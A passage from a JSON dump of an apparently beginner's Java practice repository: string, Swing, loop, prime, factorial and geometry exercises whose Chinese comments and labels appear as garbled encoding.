    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/string/Test2.java",
    "content": "package com.jun.plugin.javase.string;\n\npublic class Test2 {\n\tpublic static void main(String[] args) {\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/string/Test3.java",
    "content": "package com.jun.plugin.javase.string;\n\npublic class Test3 {\n\tpublic static void main(String[] args) {\n\t\tStringBuilder b1=new StringBuilder(\"hello \");\n\t\tStringBuilder b2=new StringBuilder(\"java\");\n\t\tshow(b1,b2);\n\t\t\n\t\tString s1=\"hello\";\n\t\tString s2=\"java\";\n\t\tshow2(s1,s2);\n\t\tSystem.out.println(s1+\"----\"+s2);\n\t}\n\tstatic void show(StringBuilder s1,StringBuilder s2){\n\t\tSystem.out.println(s1.append(s2));\n\t}\n\tstatic void show2(String str,String str1){\n\t\tstr.replace('e', 'o');\n\t\tstr=str1;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/string/Test4.java",
    "content": "package com.jun.plugin.javase.string;\n\npublic class Test4 {\n\tpublic static void main(String[] args) {\n\t\tString[] c1={\"abc\",\"bcd\",\"cde\",\"����\"};\n\t\tStringBuffer s1=new StringBuffer(\"abc\");\n\t\tfor(int i=0;i<c1.length;i++){\n\t\t\ts1.append(c1[i]);\n\t\t}\n\t\tSystem.out.println(s1.toString());\n\t\t\n\t\ts1.replace(0, 3, \"����\");\n\t\tSystem.out.println(s1.toString());\n\t\t\n\t\ts1.substring(3,7);\n\t\tSystem.out.println(s1.toString());\n\t\tSystem.out.println(s1.substring(3,7));\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/swingTest/Example1.java",
    "content": "package com.jun.plugin.javase.swingTest;\n\nimport java.awt.Color;\nimport java.awt.Container;\n\nimport javax.swing.JFrame;\nimport javax.swing.JLabel;\nimport javax.swing.SwingConstants;\nimport javax.swing.WindowConstants;\n\npublic class Example1 extends JFrame {\n\tpublic void CreateJFrame(String title){\n\t\tJFrame jf=new JFrame(title);\n\t\tContainer container=jf.getContentPane();\n\t\tJLabel jl=new JLabel(\"����һ������\");\n\t\t\n\t\tjl.setHorizontalAlignment(SwingConstants.CENTER);\n\t\tcontainer.add(jl);\n\t\tcontainer.setBackground(Color.white);\n\t\tjf.setVisible(true);\n\t\tjf.setSize(1200,1500);\n\t\tjf.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tnew Example1().CreateJFrame(\"����һ������\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/swingTest/MyFrame.java",
    "content": "package com.jun.plugin.javase.swingTest;\n\nimport java.awt.Container;\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\n\nimport javax.swing.JButton;\nimport javax.swing.JDialog;\nimport javax.swing.JFrame;\nimport javax.swing.JLabel;\nimport javax.swing.SwingConstants;\n\nclass MyJDialog extends JDialog {\n\tpublic MyJDialog(MyFrame frame){\n\t\tsuper(frame,\"��һ��dialog����\",true);\n\t\tContainer container=new Container();\n\t\tcontainer.add(new JLabel(\"����һ���Ի���\"));\n\t\tsetBounds(120, 120, 100, 100);\n\t}\n}\n\n\npublic class MyFrame extends JFrame{\n\tpublic static void main(String[] args) {\n\t\tnew MyFrame();\n\t}\n\tpublic MyFrame(){\n\t\tContainer container=new Container();\n\t\tcontainer.setLayout(null);\n\t\tJLabel jl=new JLabel(\"����һ��jf����\");\n\t\tjl.setHorizontalAlignment(SwingConstants.CENTER);\n\t\tcontainer.add(jl);\n\t\tJButton bl=new JButton(\"�����Ի���\");\n\t\tbl.setBounds(10,10,100,21);\n\t\tbl.addActionListener(new ActionListener(){\n\t\t\t@Override\n\t\t\tpublic void actionPerformed(ActionEvent arg0) {\n\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\tnew MyJDialog(MyFrame.this).setVisible(true);\n\t\t\t}\n\t\t});\n\t\tcontainer.add(bl);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/threeday/AlgorithmTest.java",
    "content": "package com.jun.plugin.javase.threeday;\n\nimport com.jun.plugin.javase.sixday.CommonMethod;\n\npublic class AlgorithmTest {\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(\"=======�������⡪�ƽ�����========\");\n\t\tSystem.out.println(sum(11));\n\t\t\n\t\tSystem.out.println(\"=======����========\");\n\t\tfor(int i=2;i<=100;i++){\n            boolean flag=true;\n            for(int j=2;j<i;j++){\n                if(i%j==0){\n                    flag=false;\n                    break;//�����ܱ����������������֣�����������\n                }\n            }\n            if(flag==true){\n                System.out.print(\" \"+i);\n            }\n\t\t}\n\t\t\n\t\t\n\t\tSystem.out.println();\n\t\tSystem.out.println(\"=======ˮ�ɻ���========\");\t\n\t\tfor(int i=100;i<1000;i++){\n\t\t\tint a=i/100;\n\t\t\tint b=i/10%10;\n\t\t\tint c=i%10;\n\t\t\tif(a*a*a+b*b*b+c*c*c==i){\n\t\t\t\tSystem.out.println(a+\"*\"+a+\"*\"+a+\"+\"+b+\"*\"+b+\"*\"+b+\"+\"+c+\"*\"+c+\"*\"+c+\"=\"+i);\n\t\t\t}\n\t\t}\n\t\t\n\t\tSystem.out.println(\"=======��Ŀ����Ƕ��========\");\n\t\tint n=60;\n\t\tSystem.out.println(n>=90?\"����\":(n>=60?\"����\":\"������\"));\n\t\t\n\t\t\n\t\tSystem.out.println(\"=======a+aa+aaa+...��ֵ========\");\n\t\tint dig=7,amou=5,sum=0,m=7;//mΪ�̶�������ֵ��amou����Ҫ�󵽵����ֳ���\n\t\tfor(int i=1;i<=amou;i++){\n\t\t\tsum+=dig;\n\t\t\tdig=dig*10+m;\n\t\t\tSystem.out.println(sum);\n\t\t}\n\t\t\n\t\t\n\t\tSystem.out.println(\"=======���ڵݹ顪���׳�========\");\n\t\tSystem.out.println(factorial(5));\n\t\t\n\t\t\n\t\tSystem.out.println(\"=======do-while========\");\n\t\tint b=100;\n\t\tdo{\n\t\t\tSystem.out.print(\",\"+b);\n\t\t\tb--;\n\t\t}while(b>=60);//ִ�����֮������while�е��������ٴ�ִ����䣬������������ѭ��\n\t\t\n\t\t\n\t\t/*System.out.println(\"=======���Լ������С������=======\");\n\t\tint a=40,b=60;\n\t\tint max=a>b?a:b;\n\t\tint min=2;\n\t\tint mul=1;\n\t\tfor(int i=1;i<=max;i++){\n\t\t\tif(a%min==0&&b%min==0){\n\t\t\t\ta=a/min;\n\t\t\t\tb=b/min;\n\t\t\t\tmul*=min;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tmin++;\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"���Լ����\"+mul);\n\t\tSystem.out.print(\"��С��������\"+mul*a*b);*/\n\t\t\n\t\t\n\t\t/*System.out.println(\"=======���Լ������С������-��������=======\");\n\t\tSystem.out.println(\"���Լ��\"+mul(40,60));\n\t\tSystem.out.println(\"���Լ��\"+mul(40,10,60));\n\t\t\n\t\tSystem.out.println(\"=======��������������======\");\n\t\tint count=0;\n\t\tfor(int i=1;i<5;i++){\n\t\t\tfor(int j=1;j<5;j++){\n\t\t\t\tfor(int k=1;k<5;k++){\n\t\t\t\t\tif(i!=j&&i!=k&&j!=k){\n\t\t\t\t\t\tSystem.out.print(i*100+j*10+k+\",\");\n\t\t\t\t\t\tcount++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSystem.out.println();\n\t\tSystem.out.println(\"��\"+count+\"��\");*/\n\t\t\n\t\t\n\t\t\n\t\t/*double m=1,n=2,sum=0;\n\t\tfor(int i=0;i<20;i++){\n\t\t\tdouble j=m;\n\t\t\tdouble k=n;\n\t\t\tsum=sum+(n/m);\n\t\t\tn=k+j;\n\t\t\tm=k;\n\t\t}\n\t\tSystem.out.println(sum);//2/1��3/2��5/3��8/5��13/8��21/13...*/\t\t\n\t\t\n\t\t/*long sum=0;\n\t\tfor(int i=1;i<=20;i++){\n\t\t\tsum+=factorial(i);\n\t\t}\n\t\tSystem.out.println(sum);//1+2!+3!+...+20!*/\n\t\t\n\t\t\n\t\t/*System.out.println(\"======������ֵ��������������������Ӧ�±�=====\");\n\t\tint[] arr={12,21,15,3,4,13,43};\n\t\tCommonMethod.bubbleSort(arr);\n\t\tCommonMethod.printArrays(arr);\n\t\tint n=12;\n\t\tint index=0;\n\t\tfor(int i=0;i<arr.length-1;i++){\n\t\t\tif(n>=arr[i]&&n<arr[i+1]){\n\t\t\t\tindex=i+1;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse if(n>=arr[arr.length-1]){\n\t\t\t\tindex=arr.length;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse if(n<arr[0]){\n\t\t\t\tindex=0;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"�²��������ǣ�\"+n+\",\"+\"��������λ�ã�\"+index);\n\t\t\n\t\tSystem.out.print(\"������һ���������ֽ⣺\");\n    \tint number =scan.nextInt();\t\n    \tint min=2;\n\t\tif(number<=1){\n\t\t\tSystem.out.println(\"��������\");\n\t\t}\n\t\telse if(number==2){\n\t\t\tSystem.out.print(number+\"=\"+\"1\"+\"*\"+number);\n\t\t}\n\t\telse{\n\t\t\tSystem.out.print(number+\"=\");\n\t\t\twhile(min<=number){\n\t    \t\tif(number%min==0){\n\t    \t\t\tSystem.out.print(\"*\"+min);\n\t    \t\t\tnumber=number/min;\n\t    \t\t}\n\t    \t\telse{\n\t    \t\t\tmin++;\n\t    \t\t}\n\t    \t}\n\t\t}//�ֽ�������\n\t\t\n\t\t*\n\t\t*/\n\t\t\n\t\t\n\t}\n\t\n\t\n\t\n\tstatic int sum(int n){\n\t\tif(n>2){\n\t\t\treturn sum(n-1)+sum(n-2);\n\t\t}\n\t\telse{\n\t\t\treturn 1;\n\t\t}\n\t}\n\t\n\tstatic long factorial(int n){\n\t\tif(n<=1){\n\t\t\treturn 1;\n\t\t}\n\t\telse{\n\t\t\treturn n*factorial(n-1);\n\t\t}\n\t}\n\t\n\tstatic int mul(int m,int n){\n\t\tint max=m>n?m:n;\n\t\tint min=2;\n\t\tint mul=1;\n\t\tfor(int i=1;i<=max;i++){\n\t\t\tif(m%min==0&&n%min==0){\n\t\t\t\tm=m/min;\n\t\t\t\tn=n/min;\n\t\t\t\tmul*=min;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tmin++;\n\t\t\t}\n\t\t}\n\t\treturn (mul*m*n);\n\t}\n\t\n\tstatic int mul(int m,int n,int k){\n\t\tint temp=m>n?m:n;\n\t\tint max=temp>k?temp:k;\n\t\tint min=2;\n\t\tint mul=1;\n\t\tfor(int i=1;i<=max;i++){\n\t\t\tif(m%min==0&&n%min==0&&k%min==0){\n\t\t\t\tm=m/min;\n\t\t\t\tn=n/min;\n\t\t\t\tk=k/min;\n\t\t\t\tmul*=min;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tmin++;\n\t\t\t}\n\t\t}\n\t\treturn (mul*m*n*k);\n\t}\n\t\n\t\n\t\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/threeday/Area.java",
    "content": "package com.jun.plugin.javase.threeday;\n\n//import java.util.Scanner;\n\npublic class Area {\n\tpublic static void main(String[] args) {\n\n\t\tSystem.out.println(\"Բ�������\"+area(4));\n\t\tSystem.out.println(\"�����ε������\"+area(4,5));\n\t\t\n\n\t\t\n\t\t\n\t\tdouble x=area(3,4,5);\n\t\tif(x!=0){\n\t\t\tSystem.out.println(\"�����ε�����ǣ�\"+x);\n\t\t}\n\t\telse{\n\t\t\tSystem.out.println(\"����������\");\n\t\t}\n\n\t\t\n\t}\n\t\n\t\n\t\n\tstatic double area(int r){\n\t\treturn Math.PI*(r*r);\n\t}\n\tstatic int area(int a,int b){\n\t\treturn a*b;\n\t}\n\tstatic double area(int a,int b,int c){\n\t\tdouble p=(a+b+c)/2;\n\t\t\n\t\tif(a+b<=c||a+c<=b||b+c<=a||a-b>=c||a-c>=b||b-c>=a){\n\t\t\treturn 0;\n\t\t}\n\t\telse{\n\t\t\treturn Math.sqrt(p*(p-a)*(p-b)*(p-c));\n\t\t}\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/threeday/Even.java",
    "content": "package com.jun.plugin.javase.threeday;\n\npublic class Even {\n\tpublic static void main(String[] args) {\n\t\tfor(int i=0;i<=100;i++){\n\t\t\tif(i%2==0){\n\t\t\t\tSystem.out.println(i);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/threeday/HomeWork.java",
    "content": "package com.jun.plugin.javase.threeday;\n\npublic class HomeWork {\n\tpublic static void main(String[] args) {\n\t\tfor(int i=0;i<=5;i++){\n\t\t\tfor(int j=0;j<5-i;j++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\tfor(int i=1;i<=5;i++){\n\t\t\tfor(int j=0;j<=5-i;j++){\n\t\t\t\tSystem.out.print(6-i);\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/threeday/Mouth.java",
    "content": "package com.jun.plugin.javase.threeday;\n\npublic class Mouth {\n\tpublic static void main(String[] args) {\n\t\tint mouth=4;\n\t\t\n\t\t\n\t\tif(mouth==3||mouth==4||mouth==5){\n\t\t\tSystem.out.println(\"����\");\n\t\t}\n\t\telse if(mouth==6||mouth==7||mouth==8){\n\t\t\tSystem.out.println(\"�ļ�\");\n\t\t}\n\t\telse if(mouth==9||mouth==10||mouth==11){\n\t\t\tSystem.out.println(\"�＾\");\n\t\t}\n\t\telse if(mouth==12||mouth==1||mouth==2){\n\t\t\tSystem.out.println(\"����\");\n\t\t}\n\t\telse{\n\t\t\tSystem.out.println(\"������1-12֮����·�\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/threeday/Prime.java",
    "content": "package com.jun.plugin.javase.threeday;\n\npublic class Prime {\n\tpublic static void main(String[] args) {\n\t\t\n\t\t\n\t\tfor(int i=2;i<=100;i++){\n\t\t\tint j=2;\n\t\t\tint sum=0;\n\t\t\twhile(i%j!=0){\n\t\t\t\tj++;\n\t\t\t}\n\t\t\tif(j==i){\n\t\t\t\tsum+=i;\n\t\t\t\tSystem.out.print(i+\" \");\n\t\t\t}\n\t\t}//����\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\t\n/*\tstatic boolean isPrime(int n){\n\t\tboolean prime=true;\n\t\tfor(int i=2;i<=n;i++){\n\t\t\tprime=true;\n\t\t\tfor(int j=2;j<i;j++){\n\t\t\t\tif(i%j==0){\n\t\t\t\t\tprime=false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(prime==true){\n\t\t\t\tSystem.out.println(i);\n\t\t\t}\n\t\t}\n\t}*/\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/threeday/Test.java",
    "content": "package com.jun.plugin.javase.threeday;\n\nimport java.util.Scanner;\n\npublic class Test {\n\tpublic static void main(String[] args) {\n\t\tScanner scan=new Scanner(System.in);\n\t\t\n\t\t/*int n=-3;\n\t\tint c=0;\n\t    String s=\"\";\n\t\twhile(n!=0){\n\t\t\tc+=n&1;\n\t\t\ts=(n&1)+s;\n\t\t\tn=n>>>1;\n\t\t}\n\t\tSystem.out.print(\"�����Ķ������ǣ�\"+s);//���һ�����Ķ����ƣ���������\n\t\tSystem.out.println();\n\t\tSystem.out.println(\"1�ĸ����ǣ�\"+c);//���1�ĸ���\n*/\t\t\n\t\t\n\t\t/*System.out.println(\"test\");\n\t\tSystem.out.println(5>>1);//5���ɶ����ƣ�����һλ����λ��0�����õ���������תΪʮ����\n\t\tSystem.out.println(-5>>1);\n\t\tSystem.out.println(5>>>1);\n\t\tSystem.out.println(-5>>>1);*/\n\t\t\n\t\t\n\t\t/*int m=12;\n\t\tString s=\"\";\n\t\twhile(m!=0){\n\t\t\ts=(m&1)+s;\n\t\t\tm=m>>>1;\n\t\t}\n\t\tSystem.out.println(s);*/\n\t\t\n\t\t/*int a=3,b=5;\n\t\ta=a^b;\n\t\tb=a^b;\n\t\tSystem.out.println(b);*/\n\t\t/*System.out.println(a);\n\t\tb=a^b;\n\t\tSystem.out.println(b);\n\t\ta=a^b;\n\t\tSystem.out.println(a);\n\t\tSystem.out.println(b);*/\n\t\t\n\t\t/*double a=3,b=4,c=5;\n\t\tdouble s=(a+b+c)/2;\n\t\tSystem.out.println(Math.sqrt(s*(s-a)*(s-b)*(s-c)));\n\t\t\n\t\tfor(int i=0;i<=10;i++){\n\t\t\tfor(int j=0;j<=10;j++){\n\t\t\t\tSystem.out.println(i+\"=====\"+j);\n\t\t\t\tif(j==5){\n\t\t\t\t\tSystem.out.println(i+\"-----\"+j);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t}*/\n\t\t\n\t\t/*int x=0;\n\t\tfor(System.out.println(\"a\");x<3;System.out.println(\"b\")){\n\t\t\tfor(System.out.println(\"M\");x<3;System.out.println(\"N\")){\n\t\t\t\tfor(System.out.println(\"K\");x<3;System.out.println(\"H\")){\n\t\t\t\t\tSystem.out.println(\"X\");\n\t\t\t\t\tx++;\n\t\t\t\t}\n\t\t\t}\n\t\t}*/\n\t\t\n\t/*\tint m=0;\n\t\tfor(int i=0;i<=9;i++){\n\t\t\tfor(int j=0;j<=i;j++){\n\t\t\t\tfor(int k=0;k<=j;k++){\n\t\t\t\t\tSystem.out.println(k);\n\t\t\t\t\tm++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(m);*/\n\t\t\n\t\t\n\t\t\n\t\t/*int a=10;\n\t\tint b=100;\n\t\tint m=0;\n\t\tSystem.out.println(m=(a>b?a:b));*/\n\t\t\n\t\t/*int a=23,b=0;\n\t\t\n\t\tfor(int i=0;i<=a+1;i++){\n\t\t\ta=a/2;\n\t\t\tb=a%2;\n\t\t\tSystem.out.println(a+\",\"+b);\n\t\t}*/\n\t\t\n\t\t/*int num=23;\n\t\tint count=0;\n\t\tfor(int i=0;i<=num;i++){\n\t\t\tnum=num>>1;\t\n\t\t\tif(num>>1!=0){\n\t\t\t\tcount++;\n\t\t\t}\n\t\t}\n\t\t\n\t\tSystem.out.println(count);*/\n\t\t\n\t\t/*int n=-1;\n\t\tint count = 0;\n        int com = 1;\n        while(com <= n){\n            if((n&com) != 0)\n                count++;\n            com = com<<1;\n        }\n        System.out.println(count);\n        \n        System.out.println((-5)%2);*/\n        \n\n\t\t/*int a=-3;\n\t\tint count=0;\n\t\twhile(a!=0){\n\t\t\tif((a&1)!=0){\n\t\t\t\tcount++;\n\t\t\t}\n\t\t\ta=a>>>1;\n\t\t}\n\t\tSystem.out.println(count);\n\t\t\n\t\tSystem.out.println(a&1);*/\n\t\t\n\t\t\n\t\t/*int n=-1;\n\t\tint c=0;\n\t\tint c1=0;\n\t\twhile(n != 0){\n\t\t\tif((n&1)==1){\n\t\t\t\t++c;\n\t\t\t}else{\n\t\t\t\tc1++;\n\t\t\t}\n\t\t\tn>>>=1;\n\t\t}\n\t\tSystem.out.println(\"1�ĸ���Ϊ\"+c+\"----\"+\"0�ĸ���Ϊ\"+c1);*/\n\t\t\n\t\t/*int n=23;//10111\n\t\tint c=0;\n\t\twhile(n != 0){\n\t\t\tif(n%2 !=0){\n\t\t\t\tc++;\n\t\t\t}\n\t\t\tn/=2;\n\t\t}\n\t\tSystem.out.println(c);//ֻ�����������Ķ������м���1\n*/        \n        \n        \n\t\t/*if(a%2==0){\n\t\t\tb++;\n\t\t}\n\t\telse{\n\t\t\tc++;\n\t\t}\n\t\t\n\t\tSystem.out.println(b);\n\t\tSystem.out.println(c);*/\n\t\t\n/*\t\tfor(int i=2;i<=100;i++){\n\t\t\tboolean t=true;\n\t\t\tfor(int j=2;j<i;j++){\n\t\t\t\tif(i%j==0){\n\t\t\t\t\tt=false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(t==true){\n\t\t\t\tSystem.out.println(i);\n\t\t\t}\n\t\t}*/\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t/*int n=1234567890;\n\t\tint nn=0;\n\t\tint t=0;\n\t\twhile(n>0){\n\t\t\tt=n%10;\n\t\t\tif (t==0)\n\t\t\t\tnn=0;\n\t\t\telse\n\t\t\t\tnn=nn*10+t;\n\t\t\tn/=10;\n\t\t}\n\t\t\n\t\tSystem.out.println(nn);\n\t\t\n\t\t\n\t\t\n\t\tint te=0,newN=1,old=1;\n\t\tfor(int i=0;i<10;i++){\n\t\t\tte=newN;\n\t\t\tnewN=old+newN;\n\t\t\told=te;\n\t\t\t\n\t\t\tSystem.out.print(\" \"+newN);\n\t\t}//���1 1 2 3 5 8\n*/\t\t\n\t\t\n\t\t\n\t\t/*System.out.print(\"������ֵ��\");\n    \tint n =scan.nextInt();\n    \tif(n>9){\n    \t\tSystem.out.println(\"��������\");\n    \t\treturn;\n    \t}\n    \tSystem.out.print(\"�������ۼ�������\");\n    \tint c =scan.nextInt();\n\t\tint sum=0;\n\t\tint d=n;\n\t\tfor(int i=1;i<=c;i++){\n\t\t\tSystem.out.print(n+\"+\");\n\t\t\tsum=sum+n;\n\t\t\tn=n*10+d;\n\t\t}\n\t\tSystem.out.print(\"=\"+sum);\n\t\tSystem.out.println();*///�ۼ�\n\t\t\n\t\t\n\t\tSystem.out.print(\"�����������\");\n    \tint count =scan.nextInt();\n\t\tdouble height=100,sumHeight=100;\n\t\tfor(int i=1;i<count;i++){\n\t\t\theight=height/2;\n\t\t\tsumHeight=sumHeight+height*2;\n\t\t}\n\t\tSystem.out.println(sumHeight);\n\t\tSystem.out.println(\"��\"+count+\"��\"+\"һ��������\"+sumHeight+\",\"+\"��\"+count+\"��\"+\"�����ĸ߶���\"+height);\n\t\n\t\t\n\t\t\n\t\tSystem.out.print(\"������һ���������ֽ⣺\");\n    \tint number =scan.nextInt();\t\n    \tint min=2;\n\t\tif(number<=1){\n\t\t\tSystem.out.println(\"��������\");\n\t\t}\n\t\telse if(number==2){\n\t\t\tSystem.out.print(number+\"=\"+\"1\"+\"*\"+number);\n\t\t}\n\t\telse{\n\t\t\tSystem.out.print(number+\"=\");\n\t\t\twhile(min<=number){\n\t    \t\tif(number%min==0){\n\t    \t\t\tSystem.out.print(\"*\"+min);\n\t    \t\t\tnumber=number/min;\n\t    \t\t}\n\t    \t\telse{\n\t    \t\t\tmin++;\n\t    \t\t}\n\t    \t}\n\t\t}//�ֽ�������\n\t\t\n\t\t\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/threeday/Triangle.java",
    "content": "package com.jun.plugin.javase.threeday;\n\npublic class Triangle {\n\tpublic static void main(String[] args) {\n\t\tfloat a=4,b=2,c=9;\n\t\tdouble p=(a+b+c)/2;//���ܳ�\n\t\t\n\t\tif(a+b<=c||a+c<=b||b+c<=a||a-b>=c||a-c>=b||b-c>=a){\n\t\t\tSystem.out.println(\"����������\");\n\t\t}\n\t\telse{\n\t\t\tSystem.out.println(\"���Ϊ\"+Math.sqrt(p*(p-a)*(p-b)*(p-c)));\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/threeday/work.java",
    "content": "package com.jun.plugin.javase.threeday;\n\nimport java.util.Scanner;\n\npublic class work {\n    public static void main(String[] args) {\n    \tScanner scan=new Scanner(System.in);\n//    \t��ϰ�����������������ʽ��\n//    \t8\t\t/**\n//    \t\t\t * *****\n//    \t\t\t * ****\n//    \t\t\t * ***\n//    \t\t\t * **\n//    \t\t\t * *\n//    \t\t\t */\n//    \t\t\t/**\n//    \t\t\t * 55555\n//    \t\t\t * 4444\n//    \t\t\t * 333\n//    \t\t\t * 22\n//    \t\t\t * 1\n//    \t\t\t */\n   /*\t\n    \t\n    \tSystem.out.print(\"���������:\");\n    \tint m=scan.nextInt();\n    \tfor(int i=1;i<=m;i++){\n    \t   for(int j=i;j<=m;j++){\n    \t\t   System.out.print(\"*\");\n//    \t\t   System.out.print(6-i);\n    \t   }\n    \t   System.out.println();\n    \t}\n    \tfor(int k=1;k<=m;k++){\n    \t\tfor(int n=m;n>=k;n--){\n    \t\t\tSystem.out.print(m+1-k);\n    \t\t}\n    \t\tSystem.out.println();\n    \t}\n    */\t\n\n  //��s=a+aa+aaa+aaaa...��ֵ������a��һ�����֡�����������Ϊ1234=1+11+111+1111�����������ʽ������������������һ������a����ֵ��С����һ�������ۼӵ�����\n//    \tScanner scan=new Scanner(System.in);\n   \n    \t/*System.out.print(\"������a��ֵ��\");\n    \tint a =scan.nextInt();\n    \tSystem.out.print(\"�������ۼ�������\");\n    \tint count =scan.nextInt();\n    \tint n=0;\n    \tint sum=0;\n    \tString string=\"\";\n    \tfor(int i=1;i<=count;i++){\n    \t\tn=n*10+a;\n    \t\tif(i<count){\n    \t\t\tstring=string+n+\"+\";\n    \t\t}else if(i==count){\n    \t\t\tstring=string+n;\n    \t\t}\n    \t\tsum=sum+n;\n//    \t\tSystem.out.println(n);\n    \t}\n    \tSystem.out.println(sum+\"=\"+string);*/\n  \t\n//10 һС���100�׸߶��������壬ÿ����غ�����ԭ���߶ȵ�һ�룬�����£������ڵ�10�����ʱ���������˶����ף���10�η������\n    \t\n    \tSystem.out.print(\"�����������\");\n    \tint n =scan.nextInt();\n    \tdouble h=100;\n    \tdouble sum=100;\n    \tfor(int i=2;i<=n;i++){\n    \t\th=h*0.5;\n    \t\tsum=sum+h*2;\n    \t\tSystem.out.println(sum);\n    \t}\n    \tSystem.out.println(\"��\"+n+\"���ܷ���\"+h+\"��\");\n    \tSystem.out.println(\"�ڵ�\"+n+\"�����ʱ����������\"+sum+\"��\");\n    \t\n    \t\n//11��һ���������ֽ�����������������90����ӡ���Ϊ90=2*3*3*5��\n      \n        /*System.out.print(\"������һ����������\");\n    \tint number =scan.nextInt();\n    \tint n=number;\n    \tint i,j,k;\n    \tString string=\"\";\n    \tdo{\n    \t  for(i=2;i<=number;i++){\n    \t\tif(number%i==0){\n    \t\t\tfor (j = 2; j <= Math.sqrt(i); j++){   \n                    if (i % j == 0)\n                        break;  \n                }   \n                if (j > Math.sqrt(i))\n                \tif(number!=i){\n                \t   string=string+i+\"*\";\n                \t}else if(number==i){\n                       string=string+i;\n                    }\n                    break;\n    \t\t}\n    \t  }\n    \t  number=number/i; \n    \t}while(number!=1) ;\n    \tSystem.out.println(n+\"=\"+string);*/\n    \n\t}\n    \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/twoday/HomeWork.java",
    "content": "package com.jun.plugin.javase.twoday;\n\nimport java.util.Scanner;\n\npublic class HomeWork {\n\tpublic static void main(String[] args) {\n\t\t\n\t\tint m=(int)(Math.random()*100);\n//\t\tSystem.out.println(m);\n\t\twhile(true){\n\t\t\tScanner scan=new Scanner(System.in);\n\t\t\tSystem.out.println(\"���������֣�\");\n\t\t\tint a=scan.nextInt();\n\t\t\t\n\t\t\tif(a>m){\n\t\t\t\tSystem.out.println(\"�������\");\n\t\t\t}\n\t\t\telse if(a==m){\n\t\t\t\tSystem.out.println(\"�����\");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.println(\"����С��\");\n\t\t\t}\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/twoday/HomeWorkDate.java",
    "content": "package com.jun.plugin.javase.twoday;\n\npublic class HomeWorkDate {\n\tpublic static void main(String[] args) {\n\t\t\n//\t\tint year=(int)(Math.random()*1000+2000);\n\t\tint year=2016;\n\t\tint mouth=9;\n\t\tint date=15;\n//\t\tint mouth=(int)(Math.random()*12+1);\n//\t\tint date=(int)(Math.random()*31+1);\n\t\t\n\t\tint i=mouth;//�����С�·ݣ�����31��С��30��\n\t\tif(i==1){\n\t\t\ti=0;\n\t\t}\n\t\telse if(i==2){\n\t\t\ti=1;\n\t\t}\n\t\telse if(i==3){\n\t\t\ti=1;\n\t\t}\n\t\telse if(i==4){\n\t\t\ti=2;\n\t\t}\n\t\telse if(i==5){\n\t\t\ti=2;\n\t\t}\n\t\telse if(i==6){\n\t\t\ti=3;\n\t\t}\n\t\telse if(i==7){\n\t\t\ti=3;\n\t\t}\n\t\telse if(i==8){\n\t\t\ti=4;\n\t\t}\n\t\telse if(i==9){\n\t\t\ti=5;\n\t\t}\n\t\telse if(i==10){\n\t\t\ti=5;\n\t\t}\n\t\telse if(i==11){\n\t\t\ti=6;\n\t\t}\n\t\telse 